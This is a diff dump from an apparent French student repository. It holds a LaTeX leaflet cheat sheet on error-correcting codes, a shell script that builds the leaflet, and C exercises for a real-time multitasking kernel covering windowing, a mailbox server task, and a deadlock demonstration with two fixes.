\@startsection{paragraph}{4}{\z@}% |
|||
{0.2ex \@minus.2ex}% |
|||
{-1em}% |
|||
{\normalfont\normalsize\bfseries}} |
|||
\let\part=\relax |
|||
\let\chapter=\relax |
|||
\endinput |
|||
%% |
|||
%% End of file `leaflet.cls'. |
|||
@ -0,0 +1,33 @@ |
|||
#!/bin/sh |
|||
|
|||
set -e |
|||
|
|||
latex ss-cc.tex |
|||
dvips ss-cc.dvi -o ss-cc.ps |
|||
|
|||
# This line works as follows: the -pa4 tells pstops to use a4 paper. |
|||
# THe 6: tells it that it will be working with 6 pages. |
|||
# The 0R@$scale($xpos,0.66h) part works as follows: |
|||
# 0R@scale tells it to work on the zeroth page, rotate it right, and scale it |
|||
# by $scale. |
|||
# The ($xpos,0.66h) part gives the x and y offsets, telling where |
|||
# to place the page on the sheet of paper. |
|||
|
|||
# You may need to fiddle with these offsets, in particular, to |
|||
# suit your printer. This works for an HP400 deskjet. |
|||
|
|||
# Copyright Nels Tomlinson, 2001, 2003. |
|||
# You may freely distribute this file, provided that the copyright notice and this permission notice are retained. |
|||
|
|||
# Modified by Carlos Gonzalez-Alcon to use an A4 paper. Oct 2003. |
|||
# Modified by Nicolas MASSE to use 6 columns. 2007. |
|||
|
|||
paper="a4" |
|||
scale="1.0" |
|||
xpos="-3.4in" |
|||
|
|||
pstops -p$paper "6:1R@$scale($xpos,1.0h)+2R@$scale($xpos,0.66h)+3R@$scale($xpos,0.33h),0R@$scale($xpos,0.33h)+5R@$scale($xpos,0.66h)+4R@$scale($xpos,1.0h)" ss-cc.ps ss-cc.$paper.ps |
|||
|
|||
|
|||
ps2pdf14 -sPAPERSIZE=$paper ss-cc.$paper.ps |
|||
|
|||
@ -0,0 +1,144 @@ |
|||
\documentclass[a4paper,10pt]{leaflet} |
|||
|
|||
% French language |
|||
\usepackage[francais]{babel} |
|||
\usepackage[utf8]{inputenc} |
|||
|
|||
% Hack |
|||
\setlength{\footskip}{10cm} |
|||
|
|||
% No indentation but a wider space between the paragraphs |
|||
\setlength{\parindent}{0cm} |
|||
\setlength{\parskip}{2mm} |
|||
|
|||
% To include images |
|||
\usepackage{graphicx} |
|||
|
|||
\usepackage{multicol} |
|||
|
|||
% Math extensions |
|||
\usepackage{amsfonts} |
|||
\usepackage{amstext} |
|||
\usepackage{amsmath} |
|||
\usepackage{mathbbol} |
|||
|
|||
% Some useful shortcuts |
|||
\newcommand{\code}[1]{\mathcal{#1}} |
|||
\newcommand{\C}{\code{C}} |
|||
\newcommand{\syn}[1]{\mathop{\rm{syn}}(#1)} |
|||
\newcommand{\dimc}[1]{\mathop{\rm{dim}}(#1)} |
|||
\newcommand{\FF}{\mathbb{F}_2} |
|||
\newcommand{\FFn}[1]{\mathbb{F}_2^{#1}} |
|||
|
|||
|
|||
\title{Codes correcteurs \\ {\normalsize \textsf{Cheat Sheet}}} |
|||
\author{Nicolas MASSE \\ \texttt{nicolas27.masse@laposte.net}} |
|||
|
|||
\begin{document} |
|||
\maketitle |
|||
|
|||
\fussy |
|||
|
|||
\section{Système de communication} |
|||
\subsection{Modèle de Shannon (1948)} |
|||
\includegraphics[width=0.9\linewidth]{general2} |
|||
|
|||
\subsection{Matrice stochastique} |
|||
Une matrice stochastique $\mathcal{P}$ est définie par $ \mathcal{P} = (P_{ij}) $. $P_{ij} = P(y_j/x_i)$ est la probabilité de transition entre $x_i$ et $y_j$. |
|||
|
|||
\subsection{Modèles de canal} |
|||
|
|||
\begin{multicols}{2} |
|||
\raggedcolumns |
|||
Le \textbf{canal binaire symétrique à effacement} modélise les situations où certains symboles sont perdus. |
|||
|
|||
\begin{center} |
|||
$ \mathcal{P} = \begin{pmatrix} |
|||
1-p & 0 & p\\ |
|||
0 & 1-p & p\\ |
|||
\end{pmatrix}$ |
|||
\end{center} |
|||
|
|||
\includegraphics[width=0.9\linewidth]{cbse} |
|||
\end{multicols} |
|||
\clearpage |
|||
\begin{multicols}{2} |
|||
\raggedcolumns |
|||
\textbf{Canal binaire symétrique} |
|||
|
|||
\begin{center} |
|||
$ \mathcal{P} = \left( |
|||
\begin{array}{cc} |
|||
1-p & p\\ |
|||
p & 1-p\\ |
|||
\end{array} |
|||
\right)$ |
|||
\end{center} |
|||
|
|||
\includegraphics[width=\linewidth]{cbs} |
|||
\end{multicols} |
|||
|
|||
\subsection{Codage de source} |
|||
Une source est équiprobable lorsque chaque séquence binaire a la même probabilité d'apparition. |
|||
On dit alors que le codage de source est de qualité. |
|||
|
|||
\section{Théorie des codes} |
|||
|
|||
\subsection{Types de codes} |
|||
\begin{itemize} |
|||
\item codes linéaires |
|||
\item codes cycliques |
|||
\end{itemize} |
|||
|
|||
\subsection{Modes de fonctionnement} |
|||
\begin{description} |
|||
\item[FEC] Forward error correction |
|||
\item[ARQ] Automatic Repeat-request |
|||
\end{description} |
|||
|
|||
\subsection{Types d'encodage} |
|||
\begin{itemize} |
|||
\item encodage en bloc |
|||
$$ |
|||
\begin{array}{ccc} |
|||
\lbrack m_1 \ldots m_k] & \lbrack m_{k+1} \ldots m_{2k}] & \lbrack m_{2k+1} \ldots m_{3k}]\\ |
|||
\downarrow f & \downarrow f & \downarrow f \\ |
|||
\lbrack c_1 \ldots c_k] & \lbrack c_{k+1} \ldots c_{2k}] & \lbrack c_{2k+1} \ldots c_{3k}] |
|||
\end{array} |
|||
$$ |
|||
\item encodage convolutif |
|||
$$ |
|||
\left(\begin{array}{c} |
|||
c_1^{(t)}\\ |
|||
\vdots \\ |
|||
c_n^{(t)} |
|||
\end{array}\right) |
|||
= f \left( |
|||
\left(\begin{array}{c} |
|||
m_1^{(t)}\\ |
|||
\vdots \\ |
|||
m_k^{(t)} |
|||
\end{array}\right) |
|||
, \ldots, |
|||
\left(\begin{array}{c} |
|||
m_1^{(t-m)}\\ |
|||
\vdots \\ |
|||
m_k^{(t-m)} |
|||
\end{array}\right) |
|||
\right) |
|||
$$ |
|||
\end{itemize} |
|||
|
|||
\subsection{Paramètres d'un code $\C$} |
|||
Notation~: $\C[n,k,d]$ |
|||
|
|||
\begin{itemize} |
|||
\item[$\mathbf{n}$~:] nombre de bits après encodage |
|||
\item[$\mathbf{k}$~:] nombre de bits d'information |
|||
\item[$\mathbf{d}$~:] distance minimale |
|||
\end{itemize} |
|||
$\Rightarrow$ nombre de bits de redondance~: $n-k$ |
|||
|
|||
|
|||
|
|||
\end{document} |
|||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@ -0,0 +1,106 @@ |
|||
/************************************************************************/ |
|||
/* EX1.C : Multi-Fenêtrage avec seulement UNE tâche */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Création de fenêtres avec le système de Multi-Fenêtrage VIDEO */ |
|||
/* et opérations d'affichage dans les fenêtres. */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 /*Outre la tâche main, il n'y a dans cette exercice que la tâche T1 qui a le numéro 1*/ |
|||
/*Rappel : le numéro peut varier de 1 à 10. La valeur 0 est reservée à la tâche main*/ |
|||
|
|||
#define PT1 3 /*La priorité de la tâche T1 est PT1=3 (pourquoi pas?). La priorité peut varier de 1 à 10*/ |
|||
/*La priorité la plus forte correspond à la valeur 10. La tâche main a la priorité 0*/ |
|||
|
|||
#define ESC 0x1b /*On revient au DOS en frappant sur la touche Escape*/ |
|||
|
|||
Word F0,F1,F2,F3,F4,F5;/*On utilise 6 fenêtres dans cet exercice*/ |
|||
|
|||
#include "tempo.c" /*Le fichier tempo.c est dans le répertoire courant et correspond à une boucle d'attente logicielle*/ |
|||
/*La syntaxe d'appel est Tempo(Word Duree). La valeur de Duree correspond approximativement*/ |
|||
/*à la durée de la boucle (en millisecondes) pour les PC utilisés en TP*/ |
|||
|
|||
/*--------------------------------------------------------------------------------------------------*/ |
|||
Tache_Controleur(void) |
|||
{ |
|||
/*Deux tâches dans cet exercice :
|
|||
- la tâche main (incontournable) |
|||
- la tâche Tache_Controleur*/ |
|||
|
|||
Char Car; |
|||
EcrTexte(F5,"Tapez des chiffres entre 1 et 4 ; ESC pour sortir\r"); |
|||
|
|||
while (TRUE) |
|||
{ |
|||
LireCar(F5, ON, &Car); /*Rappel : la fonction LireCar est suspensive*/ |
|||
switch (Car) |
|||
{ |
|||
case ESC : RetDos(); break; /*RetDos est une fonction du noyau*/ |
|||
case '1' : Proc_1(); break; /*Les fonctions Proc_i sont extrémement simples (cf. ci-dessous)*/ |
|||
case '2' : Proc_2(); break; |
|||
case '3' : Proc_3(); break; |
|||
case '4' : Proc_4(); break; |
|||
} |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------------------------------------*/ |
|||
Proc_1(void) |
|||
{ |
|||
EcrTexte(F1,"Proc_1 En Cours\n"); |
|||
Tempo(2); /*Boucle d'attente logicielle*/ |
|||
EffaceFen(F1); |
|||
} |
|||
|
|||
Proc_2(void) |
|||
{ |
|||
EcrTexte(F2,"Proc_2 En Cours\n"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
} |
|||
|
|||
Proc_3(void) |
|||
{ |
|||
EcrTexte(F3,"Proc_3 En Cours\n"); |
|||
Tempo(10); |
|||
EffaceFen(F3); |
|||
} |
|||
|
|||
Proc_4(void) |
|||
{ |
|||
static Int Cpt=0; |
|||
EcrTexte(F4,"Proc_4 En Cours\r"); |
|||
SelectFen(F4); |
|||
EcrVar("Cpt = %d\r", Cpt); |
|||
Cpt ++; |
|||
if(Cpt == 3) |
|||
{ |
|||
Cpt = 0; |
|||
Tempo(10); |
|||
EffaceFen(F4); |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); /*Appel obligatoire avant toute utilisation du module video*/ |
|||
|
|||
F0=OuvreFen( 0, 0,79,24, noir, blanc, "EXERCICE1"); |
|||
F1=OuvreFen( 1, 6,39, 9, cyan, blanc, "Proc_1"); |
|||
F2=OuvreFen(41, 6,78, 9, vert, blanc, "Proc_2"); |
|||
F3=OuvreFen( 1,11,39,14, bleu, blanc, "Proc_3"); |
|||
F4=OuvreFen(41,11,78,19, marron, blanc, "Proc_4"); |
|||
F5=OuvreFen( 1, 1,78, 5, rouge, blanc, "Tâche_Contrôleur"); |
|||
|
|||
InitNoyau(); /*Obligatoire pour utiliser le module video*/ |
|||
|
|||
CreateTask(T1,PT1,Tache_Controleur); /*Créer la tâche numéro T1, avec la priorité T1, correspondant la fonction Tâche_controleur*/ |
|||
/*La TCB (partiellement initialisée est créée)*/ |
|||
|
|||
StartTask(T1); /*La TCB est totalement initialisée : La tâche est prête*/ |
|||
/*Le tableau TabPrio est mis à jour*/ |
|||
|
|||
while (TRUE); |
|||
} |
|||
@ -0,0 +1,132 @@ |
|||
/************************************************************************/ |
|||
/* EX10.C DEMONSTRATION TACHE SERVEUR */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Deux tâches T1 et T2, de même priorité transmettent à une tâche */ |
|||
/* serveur, TS, des requêtes pour utiliser une ressource (fenêtre) */ |
|||
/* gérée par cette tâche TS. */ |
|||
/* Ces requêtes, effectuées de manière "pseudo aléatoire", sont */ |
|||
/* servies suivant leur ordre d'arrivée (fonctionnement asynchrone). */ |
|||
/* Principe : */ |
|||
/* Les tâches demandeuses T1 et T2 postent dans la file serveur des */ |
|||
/* caractères minuscules (T1) ou majuscules (T2). */ |
|||
/* La tâche serveur TS affiche les caractères contenus dans la file. */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 |
|||
#define T2 2 |
|||
#define TS 3 |
|||
#define TK 4 |
|||
|
|||
|
|||
#define T1DMAX 20 |
|||
#define T1DSTEP 2 |
|||
#define T2DMAX 20 |
|||
#define T2DSTEP 4 |
|||
|
|||
#define PT 3 /* Priorité des tâches T1 et T2 */ |
|||
#define PS 4 /* Priorité de la tâche serveur TS*/ |
|||
#define PTK 5 |
|||
|
|||
#define BL 1 /*On utilise une boîte à lettres (boîte numéro 1)*/ |
|||
#define BL_LEN 2 |
|||
|
|||
|
|||
#define ESC 0x1b |
|||
|
|||
Word F0,F1,F2,F3,F4; |
|||
|
|||
#include "tempo.c" |
|||
/*-------------------------------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char car; |
|||
while (1) |
|||
{ |
|||
LireCar(F4, ON, &car); |
|||
if (car == ESC) RetDos(); |
|||
} |
|||
} |
|||
|
|||
|
|||
/*-------------------------------------------------------------------*/ |
|||
Tache1(void) |
|||
{ |
|||
Char lettre = 'a'; |
|||
Word delai1 = T1DSTEP; |
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F1, lettre); |
|||
Send(BL,lettre); |
|||
++lettre; |
|||
if (lettre > 'z') lettre = 'a'; |
|||
DelayTask(delai1); |
|||
delai1 += T1DSTEP; |
|||
if (delai1 > T1DMAX) delai1 = T1DSTEP; |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache2(void) |
|||
{ |
|||
Char lettre = 'A'; |
|||
Word delai1 = T2DSTEP; |
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F2, lettre); |
|||
Send(BL,(Word)lettre); |
|||
++lettre; |
|||
if (lettre > 'Z') lettre = 'A'; |
|||
DelayTask(delai1); |
|||
delai1 += T2DSTEP; |
|||
if (delai1 > T2DMAX) delai1 = T2DSTEP; |
|||
} |
|||
} |
|||
|
|||
/*-------------------------------------------------------------------*/ |
|||
Serveur(void) |
|||
{ |
|||
Word msg; |
|||
while(1) |
|||
{ |
|||
Receive(BL,&msg,0); |
|||
EcrCar(F3, (char) msg); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
|
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 10 : TACHE SERVEUR"); |
|||
F1 = OuvreFen(10, 3,35,10, vert, blanc, "TACHE T1"); |
|||
F2 = OuvreFen(45, 3,70,10, vert, blanc, "TACHE T2"); |
|||
F3 = OuvreFen(10,11,70,16, rouge, blanc, "Serveur (TACHE TS)"); |
|||
F4 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
InitMailBox(BL, BL_LEN); |
|||
|
|||
|
|||
CreateTask(TK, PTK, TKill); |
|||
CreateTask(T1, PT, Tache1); |
|||
CreateTask(T2, PT, Tache2); |
|||
CreateTask(TS, PS, Serveur); |
|||
|
|||
|
|||
StartTask(TK); |
|||
StartTask(TS); |
|||
StartTask(T1); |
|||
StartTask(T2); |
|||
|
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F4,'&'); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,104 @@ |
|||
/************************************************************************/ |
|||
/* EX11.C INTERBLOCAGE alias ETREINTE FATALE alias DEAD LOCK */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Deux tâches de même priorité travaillent en partage du temps. */ |
|||
/* Ces deux tâches utilisent DEUX ressources communes. */ |
|||
/* Si l'on ne prend pas de précaution, ce qui est le cas dans cet */ |
|||
/* exercice : CA BLOQUE !!! */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 |
|||
#define T2 2 |
|||
#define TK 3 |
|||
|
|||
#define PT1 1 |
|||
#define PT2 1 |
|||
#define PTK 3 |
|||
|
|||
#define Ress1 1 |
|||
#define Ress2 2 |
|||
|
|||
#define ESC 0x1b |
|||
|
|||
Word F0,F1,F2,F3; |
|||
|
|||
#include "tempo.c" |
|||
/*-------------------------------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char Msg1; |
|||
while(1) |
|||
{ |
|||
LireCar(F1,ON,&Msg1); |
|||
if( Msg1 == ESC ) RetDos(); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache1(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
P(Ress1,0); |
|||
EcrTexte(F1,"Ress1\r"); |
|||
Tempo(5); |
|||
P(Ress2,0); |
|||
EcrTexte(F1,"Ress2"); |
|||
Tempo(5); |
|||
EffaceFen(F1); |
|||
V(Ress2); |
|||
V(Ress1); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache2(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
P(Ress2,0); |
|||
EcrTexte(F2,"Ress2\r"); |
|||
Tempo(5); |
|||
P(Ress1,0); |
|||
EcrTexte(F2,"Ress1"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
V(Ress1); |
|||
V(Ress2); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 11 : INTERBLOCAGE alias ETREINTE FATALE alias DEAD LOCK"); |
|||
F1 = OuvreFen( 5, 5,30,15, bleu, blanc, "T1 En Cours"); |
|||
F2 = OuvreFen(40, 5,65,15, vert, blanc, "T2 En Cours"); |
|||
F3 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
|
|||
CreateTask(T1, PT1, Tache1); |
|||
CreateTask(T2, PT2, Tache2); |
|||
CreateTask(TK, PTK, TKill); |
|||
|
|||
InitSemaphore(Ress1, 1); V(Ress1); |
|||
InitSemaphore(Ress2, 1); V(Ress2); |
|||
|
|||
EnterRegion(); |
|||
StartTask(T2); |
|||
StartTask(T1); |
|||
StartTask(TK); |
|||
RTClockInit(1); |
|||
LeaveRegion(); |
|||
|
|||
while(1) |
|||
{ |
|||
EnterRegion(); |
|||
EcrCar(F3,'&'); |
|||
LeaveRegion(); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,108 @@ |
|||
/************************************************************************/ |
|||
/* EX11.C INTERBLOCAGE alias ETREINTE FATALE alias DEAD LOCK */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Deux tâches de même priorité travaillent en partage du temps. */ |
|||
/* Ces deux tâches utilisent DEUX ressources communes. */ |
|||
/* Si l'on ne prend pas de précaution, ce qui est le cas dans cet */ |
|||
/* exercice : CA BLOQUE !!! */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 |
|||
#define T2 2 |
|||
#define TK 3 |
|||
|
|||
#define PT1 1 |
|||
#define PT2 1 |
|||
#define PTK 3 |
|||
|
|||
#define Ress1 1 |
|||
#define Ress2 2 |
|||
|
|||
#define ESC 0x1b |
|||
|
|||
Word F0,F1,F2,F3; |
|||
|
|||
#include "tempo.c" |
|||
/*-------------------------------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char Msg1; |
|||
while(1) |
|||
{ |
|||
LireCar(F1,ON,&Msg1); |
|||
if( Msg1 == ESC ) RetDos(); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache1(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
P(Ress1,0); |
|||
EcrTexte(F1,"Ress1\r"); |
|||
Tempo(5); |
|||
P(Ress2,0); |
|||
EcrTexte(F1,"Ress2"); |
|||
Tempo(5); |
|||
EffaceFen(F1); |
|||
V(Ress2); |
|||
V(Ress1); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache2(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
|
|||
/* Prise des ressources dans le meme ordre que T1
|
|||
pour eviter le phenomene d'interblocage */ |
|||
|
|||
P(Ress1,0); |
|||
EcrTexte(F2,"Ress1\r"); |
|||
Tempo(5); |
|||
P(Ress2,0); |
|||
EcrTexte(F2,"Ress2"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
V(Ress1); |
|||
V(Ress2); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 11 : INTERBLOCAGE alias ETREINTE FATALE alias DEAD LOCK"); |
|||
F1 = OuvreFen( 5, 5,30,15, bleu, blanc, "T1 En Cours"); |
|||
F2 = OuvreFen(40, 5,65,15, vert, blanc, "T2 En Cours"); |
|||
F3 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
|
|||
CreateTask(T1, PT1, Tache1); |
|||
CreateTask(T2, PT2, Tache2); |
|||
CreateTask(TK, PTK, TKill); |
|||
|
|||
InitSemaphore(Ress1, 1); V(Ress1); |
|||
InitSemaphore(Ress2, 1); V(Ress2); |
|||
|
|||
EnterRegion(); |
|||
StartTask(T2); |
|||
StartTask(T1); |
|||
StartTask(TK); |
|||
RTClockInit(1); |
|||
LeaveRegion(); |
|||
|
|||
while(1) |
|||
{ |
|||
EnterRegion(); |
|||
EcrCar(F3,'&'); |
|||
LeaveRegion(); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,147 @@ |
|||
/************************************************************************/ |
|||
/* EX11.C INTERBLOCAGE alias ETREINTE FATALE alias DEAD LOCK */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Deux tâches de même priorité travaillent en partage du temps. */ |
|||
/* Ces deux tâches utilisent DEUX ressources communes. */ |
|||
/* Si l'on ne prend pas de précaution, ce qui est le cas dans cet */ |
|||
/* exercice : CA BLOQUE !!! */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
/* #include <stdlib.h> */ |
|||
|
|||
#define T1 1 |
|||
#define T2 2 |
|||
#define TK 3 |
|||
|
|||
#define PT1 1 |
|||
#define PT2 1 |
|||
#define PTK 3 |
|||
|
|||
#define Ress1 1 |
|||
#define Ress2 2 |
|||
|
|||
#define DELAY 5 |
|||
|
|||
#define ESC 0x1b |
|||
|
|||
Word F0,F1,F2,F3; |
|||
|
|||
#include "tempo.c" |
|||
/*-------------------------------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char Msg1; |
|||
while(1) |
|||
{ |
|||
LireCar(F1,ON,&Msg1); |
|||
if( Msg1 == ESC ) RetDos(); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
|
|||
|
|||
/* La fonction random n'existe pas, nous l'avons recodee */ |
|||
int random(int max) { |
|||
return rand() % max; |
|||
} |
|||
|
|||
|
|||
Tache1(void) |
|||
{ |
|||
Int cmpt = 0; |
|||
while(1) |
|||
{ |
|||
while (1) |
|||
{ |
|||
P(Ress1,0); |
|||
EcrTexte(F1,"Ress1\r"); |
|||
Tempo(1); |
|||
|
|||
/* Si la ressource est disponible on la prend et on sort de la boucle */ |
|||
if (!TestP(Ress2)) break; |
|||
|
|||
/* Sinon, on relache la ressource et on attend un delai aleatoire */ |
|||
V(Ress1); |
|||
EffaceFen(F1); |
|||
DelayTask(random(DELAY) + 1); |
|||
} |
|||
|
|||
++cmpt; |
|||
|
|||
EcrTexte(F1,"Ress2\r\n"); |
|||
SelectFen(F1); |
|||
EcrVar("%d execution(s)\r\n",cmpt); |
|||
Tempo(5); |
|||
EffaceFen(F1); |
|||
|
|||
/* Liberation des ressources */ |
|||
V(Ress2); |
|||
V(Ress1); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache2(void) |
|||
{ |
|||
Int cmpt = 0; |
|||
while(1) |
|||
{ |
|||
while (1) |
|||
{ |
|||
P(Ress2,0); |
|||
EcrTexte(F2,"Ress2\r"); |
|||
Tempo(1); |
|||
|
|||
if (!TestP(Ress1)) break; |
|||
|
|||
V(Ress2); |
|||
EffaceFen(F2); |
|||
DelayTask(random(DELAY) + 1); |
|||
} |
|||
|
|||
++cmpt; |
|||
EcrTexte(F2,"Ress1\r\n"); |
|||
SelectFen(F2); |
|||
EcrVar("%d execution(s)\r\n",cmpt); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
V(Ress1); |
|||
V(Ress2); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 11 : INTERBLOCAGE alias ETREINTE FATALE alias DEAD LOCK"); |
|||
F1 = OuvreFen( 5, 5,30,15, bleu, blanc, "T1 En Cours"); |
|||
F2 = OuvreFen(40, 5,65,15, vert, blanc, "T2 En Cours"); |
|||
F3 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
|
|||
CreateTask(T1, PT1, Tache1); |
|||
CreateTask(T2, PT2, Tache2); |
|||
CreateTask(TK, PTK, TKill); |
|||
|
|||
InitSemaphore(Ress1, 1); V(Ress1); |
|||
InitSemaphore(Ress2, 1); V(Ress2); |
|||
|
|||
EnterRegion(); |
|||
StartTask(T2); |
|||
StartTask(T1); |
|||
StartTask(TK); |
|||
RTClockInit(1); |
|||
LeaveRegion(); |
|||
|
|||
while(1) |
|||
{ |
|||
EnterRegion(); |
|||
EcrCar(F3,'&'); |
|||
LeaveRegion(); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,106 @@ |
|||
/************************************************************************/ |
|||
/* EX1.C : Multi-Fenêtrage avec seulement UNE tâche */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Création de fenêtres avec le système de Multi-Fenêtrage VIDEO */ |
|||
/* et opérations d'affichage dans les fenêtres. */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 /*Outre la tâche main, il n'y a dans cette exercice que la tâche T1 qui a le numéro 1*/ |
|||
/*Rappel : le numéro peut varier de 1 à 10. La valeur 0 est reservée à la tâche main*/ |
|||
|
|||
#define PT1 3 /*La priorité de la tâche T1 est PT1=3 (pourquoi pas?). La priorité peut varier de 1 à 10*/ |
|||
/*La priorité la plus forte correspond à la valeur 10. La tâche main a la priorité 0*/ |
|||
|
|||
#define ESC 0x1b /*On revient au DOS en frappant sur la touche Escape*/ |
|||
|
|||
Word F0,F1,F2,F3,F4,F5;/*On utilise 6 fenêtres dans cet exercice*/ |
|||
|
|||
#include "tempo.c" /*Le fichier tempo.c est dans le répertoire courant et correspond à une boucle d'attente logicielle*/ |
|||
/*La syntaxe d'appel est Tempo(Word Duree). La valeur de Duree correspond approximativement*/ |
|||
/*à la durée de la boucle (en millisecondes) pour les PC utilisés en TP*/ |
|||
|
|||
/*--------------------------------------------------------------------------------------------------*/ |
|||
Tache_Controleur(void) |
|||
{ |
|||
/*Deux tâches dans cet exercice :
|
|||
- la tâche main (incontournable) |
|||
- la tâche Tache_Controleur*/ |
|||
|
|||
Char Car; |
|||
EcrTexte(F5,"Tapez des chiffres entre 1 et 4 ; ESC pour sortir\r"); |
|||
|
|||
while (TRUE) |
|||
{ |
|||
LireCar(F5, ON, &Car); /*Rappel : la fonction LireCar est suspensive*/ |
|||
switch (Car) |
|||
{ |
|||
case ESC : RetDos(); break; /*RetDos est une fonction du noyau*/ |
|||
case '1' : Proc_1(); break; /*Les fonctions Proc_i sont extrémement simples (cf. ci-dessous)*/ |
|||
case '2' : Proc_2(); break; |
|||
case '3' : Proc_3(); break; |
|||
case '4' : Proc_4(); break; |
|||
} |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------------------------------------*/ |
|||
Proc_1(void) |
|||
{ |
|||
EcrTexte(F1,"Proc_1 En Cours\n"); |
|||
Tempo(2); /*Boucle d'attente logicielle*/ |
|||
EffaceFen(F1); |
|||
} |
|||
|
|||
Proc_2(void) |
|||
{ |
|||
EcrTexte(F2,"Proc_2 En Cours\n"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
} |
|||
|
|||
Proc_3(void) |
|||
{ |
|||
EcrTexte(F3,"Proc_3 En Cours\n"); |
|||
Tempo(10); |
|||
EffaceFen(F3); |
|||
} |
|||
|
|||
Proc_4(void) |
|||
{ |
|||
static Int Cpt=0; |
|||
EcrTexte(F4,"Proc_4 En Cours\r"); |
|||
SelectFen(F4); |
|||
EcrVar("Cpt = %d\r", Cpt); |
|||
Cpt ++; |
|||
if(Cpt == 3) |
|||
{ |
|||
Cpt = 0; |
|||
Tempo(10); |
|||
EffaceFen(F4); |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); /*Appel obligatoire avant toute utilisation du module video*/ |
|||
|
|||
F0=OuvreFen( 0, 0,79,24, noir, blanc, "EXERCICE1"); |
|||
F1=OuvreFen( 1, 6,39, 9, cyan, blanc, "Proc_1"); |
|||
F2=OuvreFen(41, 6,78, 9, vert, blanc, "Proc_2"); |
|||
F3=OuvreFen( 1,11,39,14, bleu, blanc, "Proc_3"); |
|||
F4=OuvreFen(41,11,78,19, marron, blanc, "Proc_4"); |
|||
F5=OuvreFen( 1, 1,78, 5, rouge, blanc, "Tâche_Contrôleur"); |
|||
|
|||
InitNoyau(); /*Obligatoire pour utiliser le module video*/ |
|||
|
|||
CreateTask(T1,PT1,Tache_Controleur); /*Créer la tâche numéro T1, avec la priorité T1, correspondant la fonction Tâche_controleur*/ |
|||
/*La TCB (partiellement initialisée est créée)*/ |
|||
|
|||
StartTask(T1); /*La TCB est totalement initialisée : La tâche est prête*/ |
|||
/*Le tableau TabPrio est mis à jour*/ |
|||
|
|||
/* while (TRUE); */ |
|||
